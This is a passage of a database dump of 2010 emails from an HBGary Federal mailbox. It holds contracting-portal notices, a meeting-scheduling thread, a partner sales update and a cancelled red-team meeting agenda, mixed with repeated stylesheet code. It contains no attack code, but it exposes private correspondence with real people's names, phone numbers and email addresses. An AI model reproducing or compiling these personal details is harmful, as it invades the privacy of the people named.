-1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',9560,'aaron_hbgary_com/9560.html'),(10658,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008231.M819534P14101Q5513.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Thursday, 08/19/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-ESMARTS (Announcement & Document Posting)\r\n\r\nNGA-RDAS (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',4888,'aaron_hbgary_com/4888.html'),(10659,'2010-08-20','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297008232.M270183P14101Q5515.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','Aaron, call me at 703 509 6320.  I\'m at my office.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 19, 2010, at 11:27 PM, Aaron Barr  wrote:\r\n\r\n> Ok so planning to be at your office @ 8\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 19, 2010, at 4:16 PM, John Edwards  wrote:\r\n> \r\n>> Where do you live?  Is it convenient to come to our office in Chantilly?\r\n>> That way you can see where we hide.\r\n>> john\r\n>> On Aug 19, 2010, at 4:06 PM, Aaron Barr wrote:\r\n>> \r\n>>> Sure where?\r\n>>> \r\n>>> Sent from my iPhone\r\n>>> \r\n>>> On Aug 19, 2010, at 3:02 PM, John Edwards  wrote:\r\n>>> \r\n>>>> How about fist thing in the morning - 0800?\r\n>>>> \r\n>>>> On Aug 19, 2010, at 11:29 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hey John,\r\n>>>>> \r\n>>>>> Do you have any time tomorrow?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Aug 12, 2010, at 4:53 PM, John Edwards wrote:\r\n>>>>> \r\n>>>>>> I\'m good most days next week.\r\n>>>>>> Let me know,\r\n>>>>>> John\r\n>>>>>> \r\n>>>>>> On Aug 12, 2010, at 4:26 PM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Hey John,\r\n>>>>>>> \r\n>>>>>>> When would you like to get together?\r\n>>>>>>> \r\n>>>>>>> Aaron\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n>>>>>>> \r\n>>>>>>>> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n>>>>>>>> \r\n>>>>>>>> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Other folks were cleared just need reinstated.\r\n>>>>>>>>> \r\n>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>> \r\n>>>>>>>>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>>>>>>>>> \r\n>>>>>>>>>> One quick question:  Any one from your side cleared yet?\r\n>>>>>>>>>> \r\n>>>>>>>>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>>>>>>>>> \r\n>>>>>>>>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Aaron\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> Sent from my iPhone\r\n>>>>>>>>>>> \r\n>>>>>>>>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>>>>>>>>> \r\n>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>>>>>>>>> John\r\n>>>>>>>>>>>> \r\n>>>>>>>>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>> \r\n>>>>>>>>>>>>> John,\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>>>>>>>>> Thursday then blackhat.\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> Aaron\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> Sent from my iPad\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>> Aaron,\r\n>>>>>>>>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>>> Hi John,\r\n>>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>>> Let me know when you have some time.\r\n>>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>>> Aaron Barr\r\n>>>>>>>>>>>>>>> CEO\r\n>>>>>>>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>>>>>>>> \r\n>>>>>>>>>>>>>> \r\n>>>>>>>>>>>> \r\n>>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>> \r\n',2213,'aaron_hbgary_com/2213.html'),(10660,'2010-08-20','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008232.M33819P14101Q5514.eml','\"Aaron Barr\" <aaron@hbgary.com>','Gfirst','Hi Aaron, let\'s catch up today if we can. I\'m off with my family to  \r\nNantucket so I may be hard to catch... Or we can talk Monday. Lots of  \r\ninterest in integration at Gfirst. Of particular note, both products  \r\nwere mentioned at a classified briefing the AF cybercommand had for  \r\nsenior staff from a fed agency I am targeting. When the AF speaks,  \r\nFidelis listens (and Gene has to jump). I was not aware the AF was  \r\nusing HB Gary so this is a big help. Perhaps not Active Defense but  \r\nDDNA or RP. Anything is a help.\r\n\r\nI continue to socialize the policy pack around Gene, with pretty good  \r\nsuccess. I am confident this will happen. One thing I am doing is  \r\nsoliciting policies for malware and C&C from my customers (have 5 so  \r\nfar) and I will use this to advance the cause.\r\n\r\nMary\r\n\r\nSent from my mobile--excuse typos or brevity\r\n',1349,'aaron_hbgary_com/1349.html'),(10661,'2010-08-20','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008232.M468712P14101Q5516.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>,\"msteckman@palantir.com\" <msteckman@palantir.com>,\"patricia.krajeski@tasc.com\" <patricia.krajeski@tasc.com>,\"Meaney, Paul A (IS)\" <Paul.Meaney@ngc.com>,\"paul.kuttner@tasc.com\" <paul.kuttner@tasc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>,\"robert.sanderson@telos.com\" <robert.sanderson@telos.com>,\"sondra.spalding@tasc.com\" <sondra.spalding@tasc.com>,\"ted@hbgary.com\" <ted@hbgary.com>,\"tom.leahy@telos.com\" <tom.leahy@telos.com>,\"John.Czaplewski@ngc.com\" <John.Czaplewski@ngc.com>,\"Kenneth.Brancik@ngc.com\" <Kenneth.Brancik@ngc.com>,\"Ken Bajaj\" <kbajaj@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"Fertal, Martin J (TASC)\" <Martin.Fertal@TASC.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>','Canceled: TSA ITSSS Red Team','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: DMI Facility, Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAgenda:\r\n&nbsp;\r\n1PM – 1:15 Kick-off\r\n1:15 - 3:30 Review\r\n3:30 – 4&nbsp; Develop Top Ten list \r\n4PM - Dismiss\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',5521,'aaron_hbgary_com/5521.html'),(10662,'2010-08-20','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008232.M681066P14101Q5517.eml','\"Aaron Barr\" <aaron@hbgary.com>','We need your exp for Tech Services (digital forensics, etc.) as NGC came up weak','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8606,'aaron_hbgary_com/8606.html'),(10663,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008232.M882741P14101Q5518.eml','federal@hbgary.com','AS&T Sole Source Business Opportunity Posting','\r\nThe NRO/AS&T Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: CPFF. The Effort Type is R&D.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; 